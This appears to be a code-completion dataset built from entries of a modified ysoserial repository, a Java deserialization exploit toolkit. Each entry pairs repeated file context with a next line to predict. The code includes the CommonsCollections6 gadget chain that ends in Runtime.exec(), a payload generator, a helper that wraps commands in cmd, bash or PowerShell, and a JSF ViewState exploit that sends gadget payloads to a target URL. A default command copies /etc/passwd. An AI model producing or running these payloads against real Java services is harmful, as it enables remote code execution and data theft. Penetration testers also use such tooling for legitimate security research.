java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
| // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
// Path: src/main/java/ysoserial/payloads/CommonsCollections6.java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
package ysoserial.payloads;
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
| public Serializable getObject(CmdExecuteHelper cmdHelper) throws Exception { |
pimps/ysoserial-modified | src/main/java/ysoserial/payloads/ObjectPayload.java | // Path: src/main/java/ysoserial/GeneratePayload.java
// @SuppressWarnings("rawtypes")
// public class GeneratePayload {
//
// private static final int INTERNAL_ERROR_CODE = 70;
// private static final int USAGE_CODE = 64;
// private static final List<String> terminalTypes = Arrays.asList("cmd", "bash", "powershell", "none");
//
// public static void main(final String[] args) {
// if (args.length != 3) {
// printUsage();
// System.exit(USAGE_CODE);
// }
// final String payloadType = args[0];
// final String terminalType = args[1];
// final String command = args[2];
//
// final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
// if (payloadClass == null) {
// System.err.println("Invalid payload type '" + payloadType + "'");
// printUsage();
// System.exit(USAGE_CODE);
// return; // make null analysis happy
// }
//
// if (!terminalTypes.contains(terminalType)) {
// System.err.println("Invalid terminal type '" + terminalType + "'");
// printUsage();
// System.exit(USAGE_CODE);
// return; // make null analysis happy
// }
//
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper(terminalType, command);
// final Object object = payload.getObject(cmdHelper);
// PrintStream out = System.out;
// Serializer.serialize(object, out);
// ObjectPayload.Utils.releasePayload(payload, object);
// } catch (Throwable e) {
// System.err.println("Error while generating or serializing payload");
// e.printStackTrace();
// System.exit(INTERNAL_ERROR_CODE);
// }
// System.exit(0);
// }
//
// private static void printUsage() {
// System.err.println("Y SO SERIAL?");
// System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]'");
// System.err.println(" ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial'");
// System.err.println("\tAvailable payload types:");
// final List<Class<? extends ObjectPayload>> payloadClasses =
// new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
// Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
// for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
// System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass)));
// }
// }
//
// public static class ToStringComparator implements Comparator<Object> {
// public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
| import java.lang.reflect.Modifier;
import java.util.Iterator;
import java.util.Set;
import org.reflections.Reflections;
import ysoserial.GeneratePayload;
import ysoserial.payloads.util.CmdExecuteHelper; | package ysoserial.payloads;
@SuppressWarnings ( "rawtypes" )
public interface ObjectPayload <T> {
/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/ | // Path: src/main/java/ysoserial/GeneratePayload.java
// @SuppressWarnings("rawtypes")
// public class GeneratePayload {
//
// private static final int INTERNAL_ERROR_CODE = 70;
// private static final int USAGE_CODE = 64;
// private static final List<String> terminalTypes = Arrays.asList("cmd", "bash", "powershell", "none");
//
// public static void main(final String[] args) {
// if (args.length != 3) {
// printUsage();
// System.exit(USAGE_CODE);
// }
// final String payloadType = args[0];
// final String terminalType = args[1];
// final String command = args[2];
//
// final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
// if (payloadClass == null) {
// System.err.println("Invalid payload type '" + payloadType + "'");
// printUsage();
// System.exit(USAGE_CODE);
// return; // make null analysis happy
// }
//
// if (!terminalTypes.contains(terminalType)) {
// System.err.println("Invalid terminal type '" + terminalType + "'");
// printUsage();
// System.exit(USAGE_CODE);
// return; // make null analysis happy
// }
//
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper(terminalType, command);
// final Object object = payload.getObject(cmdHelper);
// PrintStream out = System.out;
// Serializer.serialize(object, out);
// ObjectPayload.Utils.releasePayload(payload, object);
// } catch (Throwable e) {
// System.err.println("Error while generating or serializing payload");
// e.printStackTrace();
// System.exit(INTERNAL_ERROR_CODE);
// }
// System.exit(0);
// }
//
// private static void printUsage() {
// System.err.println("Y SO SERIAL?");
// System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]'");
// System.err.println(" ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial'");
// System.err.println("\tAvailable payload types:");
// final List<Class<? extends ObjectPayload>> payloadClasses =
// new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
// Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
// for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
// System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass)));
// }
// }
//
// public static class ToStringComparator implements Comparator<Object> {
// public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
// Path: src/main/java/ysoserial/payloads/ObjectPayload.java
import java.lang.reflect.Modifier;
import java.util.Iterator;
import java.util.Set;
import org.reflections.Reflections;
import ysoserial.GeneratePayload;
import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.payloads;
@SuppressWarnings ( "rawtypes" )
public interface ObjectPayload <T> {
/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/ | public T getObject (CmdExecuteHelper cmdHelper) throws Exception; |
pimps/ysoserial-modified | src/main/java/ysoserial/payloads/ObjectPayload.java | // Path: src/main/java/ysoserial/GeneratePayload.java
// @SuppressWarnings("rawtypes")
// public class GeneratePayload {
//
// private static final int INTERNAL_ERROR_CODE = 70;
// private static final int USAGE_CODE = 64;
// private static final List<String> terminalTypes = Arrays.asList("cmd", "bash", "powershell", "none");
//
// public static void main(final String[] args) {
// if (args.length != 3) {
// printUsage();
// System.exit(USAGE_CODE);
// }
// final String payloadType = args[0];
// final String terminalType = args[1];
// final String command = args[2];
//
// final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
// if (payloadClass == null) {
// System.err.println("Invalid payload type '" + payloadType + "'");
// printUsage();
// System.exit(USAGE_CODE);
// return; // make null analysis happy
// }
//
// if (!terminalTypes.contains(terminalType)) {
// System.err.println("Invalid terminal type '" + terminalType + "'");
// printUsage();
// System.exit(USAGE_CODE);
// return; // make null analysis happy
// }
//
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper(terminalType, command);
// final Object object = payload.getObject(cmdHelper);
// PrintStream out = System.out;
// Serializer.serialize(object, out);
// ObjectPayload.Utils.releasePayload(payload, object);
// } catch (Throwable e) {
// System.err.println("Error while generating or serializing payload");
// e.printStackTrace();
// System.exit(INTERNAL_ERROR_CODE);
// }
// System.exit(0);
// }
//
// private static void printUsage() {
// System.err.println("Y SO SERIAL?");
// System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]'");
// System.err.println(" ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial'");
// System.err.println("\tAvailable payload types:");
// final List<Class<? extends ObjectPayload>> payloadClasses =
// new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
// Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
// for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
// System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass)));
// }
// }
//
// public static class ToStringComparator implements Comparator<Object> {
// public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
| import java.lang.reflect.Modifier;
import java.util.Iterator;
import java.util.Set;
import org.reflections.Reflections;
import ysoserial.GeneratePayload;
import ysoserial.payloads.util.CmdExecuteHelper; | package ysoserial.payloads;
@SuppressWarnings ( "rawtypes" )
public interface ObjectPayload <T> {
/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/
public T getObject (CmdExecuteHelper cmdHelper) throws Exception;
public static class Utils {
// get payload classes by classpath scanning
public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
Class<? extends ObjectPayload> pc = iterator.next();
if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
iterator.remove();
}
}
return payloadTypes;
}
@SuppressWarnings ( "unchecked" )
public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
Class<? extends ObjectPayload> clazz = null;
try {
clazz = (Class<? extends ObjectPayload>) Class.forName(className);
}
catch ( Exception e1 ) {}
if ( clazz == null ) {
try {
return clazz = (Class<? extends ObjectPayload>) Class | // Path: src/main/java/ysoserial/GeneratePayload.java
// @SuppressWarnings("rawtypes")
// public class GeneratePayload {
//
// private static final int INTERNAL_ERROR_CODE = 70;
// private static final int USAGE_CODE = 64;
// private static final List<String> terminalTypes = Arrays.asList("cmd", "bash", "powershell", "none");
//
// public static void main(final String[] args) {
// if (args.length != 3) {
// printUsage();
// System.exit(USAGE_CODE);
// }
// final String payloadType = args[0];
// final String terminalType = args[1];
// final String command = args[2];
//
// final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
// if (payloadClass == null) {
// System.err.println("Invalid payload type '" + payloadType + "'");
// printUsage();
// System.exit(USAGE_CODE);
// return; // make null analysis happy
// }
//
// if (!terminalTypes.contains(terminalType)) {
// System.err.println("Invalid terminal type '" + terminalType + "'");
// printUsage();
// System.exit(USAGE_CODE);
// return; // make null analysis happy
// }
//
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper(terminalType, command);
// final Object object = payload.getObject(cmdHelper);
// PrintStream out = System.out;
// Serializer.serialize(object, out);
// ObjectPayload.Utils.releasePayload(payload, object);
// } catch (Throwable e) {
// System.err.println("Error while generating or serializing payload");
// e.printStackTrace();
// System.exit(INTERNAL_ERROR_CODE);
// }
// System.exit(0);
// }
//
// private static void printUsage() {
// System.err.println("Y SO SERIAL?");
// System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]'");
// System.err.println(" ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial'");
// System.err.println("\tAvailable payload types:");
// final List<Class<? extends ObjectPayload>> payloadClasses =
// new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
// Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
// for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
// System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass)));
// }
// }
//
// public static class ToStringComparator implements Comparator<Object> {
// public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
// Path: src/main/java/ysoserial/payloads/ObjectPayload.java
import java.lang.reflect.Modifier;
import java.util.Iterator;
import java.util.Set;
import org.reflections.Reflections;
import ysoserial.GeneratePayload;
import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.payloads;
@SuppressWarnings ( "rawtypes" )
public interface ObjectPayload <T> {
/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/
public T getObject (CmdExecuteHelper cmdHelper) throws Exception;
public static class Utils {
// get payload classes by classpath scanning
public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
Class<? extends ObjectPayload> pc = iterator.next();
if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
iterator.remove();
}
}
return payloadTypes;
}
@SuppressWarnings ( "unchecked" )
public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
Class<? extends ObjectPayload> clazz = null;
try {
clazz = (Class<? extends ObjectPayload>) Class.forName(className);
}
catch ( Exception e1 ) {}
if ( clazz == null ) {
try {
return clazz = (Class<? extends ObjectPayload>) Class | .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); |
pimps/ysoserial-modified | src/main/java/ysoserial/exploit/JSF.java | // Path: src/main/java/ysoserial/payloads/ObjectPayload.java
// public static class Utils {
//
// // get payload classes by classpath scanning
// public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
// final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
// final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
// for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
// Class<? extends ObjectPayload> pc = iterator.next();
// if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
// iterator.remove();
// }
// }
// return payloadTypes;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
// Class<? extends ObjectPayload> clazz = null;
// try {
// clazz = (Class<? extends ObjectPayload>) Class.forName(className);
// }
// catch ( Exception e1 ) {}
// if ( clazz == null ) {
// try {
// return clazz = (Class<? extends ObjectPayload>) Class
// .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
// }
// catch ( Exception e2 ) {}
// }
// if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
// clazz = null;
// }
// return clazz;
// }
//
//
// public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// final Object payloadObject;
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// payloadObject = payload.getObject(cmdHelper);
// }
// catch ( Exception e ) {
// throw new IllegalArgumentException("Failed to construct payload", e);
// }
// return payloadObject;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
// if ( payload instanceof ReleaseableObjectPayload ) {
// ( (ReleaseableObjectPayload) payload ).release(object);
// }
// }
//
//
// public static void releasePayload ( String payloadType, Object payloadObject ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// releasePayload(payload, payloadObject);
// }
// catch ( Exception e ) {
// e.printStackTrace();
// }
//
// }
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
| import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import org.apache.commons.codec.binary.Base64;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.CmdExecuteHelper; | package ysoserial.exploit;
/**
* JSF view state exploit
*
* Delivers a gadget payload via JSF ViewState token.
*
* This will only work if ViewState encryption/mac is disabled.
*
* While it has been long known that client side state saving
* with encryption disabled leads to RCE via EL injection,
* this of course also works with deserialization gadgets.
*
* Also, it turns out that MyFaces is vulnerable to this even when
* using server-side state saving
* (yes, please, let's (de-)serialize a String as an Object).
*
* @author mbechler
*
*/
public class JSF {
public static void main ( String[] args ) {
if ( args.length < 4 ) {
System.err.println(JSF.class.getName() + " <view_url> <payload_type> <terminal_type> <payload_arg>");
System.exit(-1);
} | // Path: src/main/java/ysoserial/payloads/ObjectPayload.java
// public static class Utils {
//
// // get payload classes by classpath scanning
// public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
// final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
// final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
// for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
// Class<? extends ObjectPayload> pc = iterator.next();
// if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
// iterator.remove();
// }
// }
// return payloadTypes;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
// Class<? extends ObjectPayload> clazz = null;
// try {
// clazz = (Class<? extends ObjectPayload>) Class.forName(className);
// }
// catch ( Exception e1 ) {}
// if ( clazz == null ) {
// try {
// return clazz = (Class<? extends ObjectPayload>) Class
// .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
// }
// catch ( Exception e2 ) {}
// }
// if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
// clazz = null;
// }
// return clazz;
// }
//
//
// public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// final Object payloadObject;
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// payloadObject = payload.getObject(cmdHelper);
// }
// catch ( Exception e ) {
// throw new IllegalArgumentException("Failed to construct payload", e);
// }
// return payloadObject;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
// if ( payload instanceof ReleaseableObjectPayload ) {
// ( (ReleaseableObjectPayload) payload ).release(object);
// }
// }
//
//
// public static void releasePayload ( String payloadType, Object payloadObject ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// releasePayload(payload, payloadObject);
// }
// catch ( Exception e ) {
// e.printStackTrace();
// }
//
// }
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
// Path: src/main/java/ysoserial/exploit/JSF.java
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import org.apache.commons.codec.binary.Base64;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.exploit;
/**
* JSF view state exploit
*
* Delivers a gadget payload via JSF ViewState token.
*
* This will only work if ViewState encryption/mac is disabled.
*
* While it has been long known that client side state saving
* with encryption disabled leads to RCE via EL injection,
* this of course also works with deserialization gadgets.
*
* Also, it turns out that MyFaces is vulnerable to this even when
* using server-side state saving
* (yes, please, let's (de-)serialize a String as an Object).
*
* @author mbechler
*
*/
public class JSF {
public static void main ( String[] args ) {
if ( args.length < 4 ) {
System.err.println(JSF.class.getName() + " <view_url> <payload_type> <terminal_type> <payload_arg>");
System.exit(-1);
} | CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[2], args[3]); |
pimps/ysoserial-modified | src/main/java/ysoserial/exploit/JSF.java | // Path: src/main/java/ysoserial/payloads/ObjectPayload.java
// public static class Utils {
//
// // get payload classes by classpath scanning
// public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
// final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
// final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
// for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
// Class<? extends ObjectPayload> pc = iterator.next();
// if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
// iterator.remove();
// }
// }
// return payloadTypes;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
// Class<? extends ObjectPayload> clazz = null;
// try {
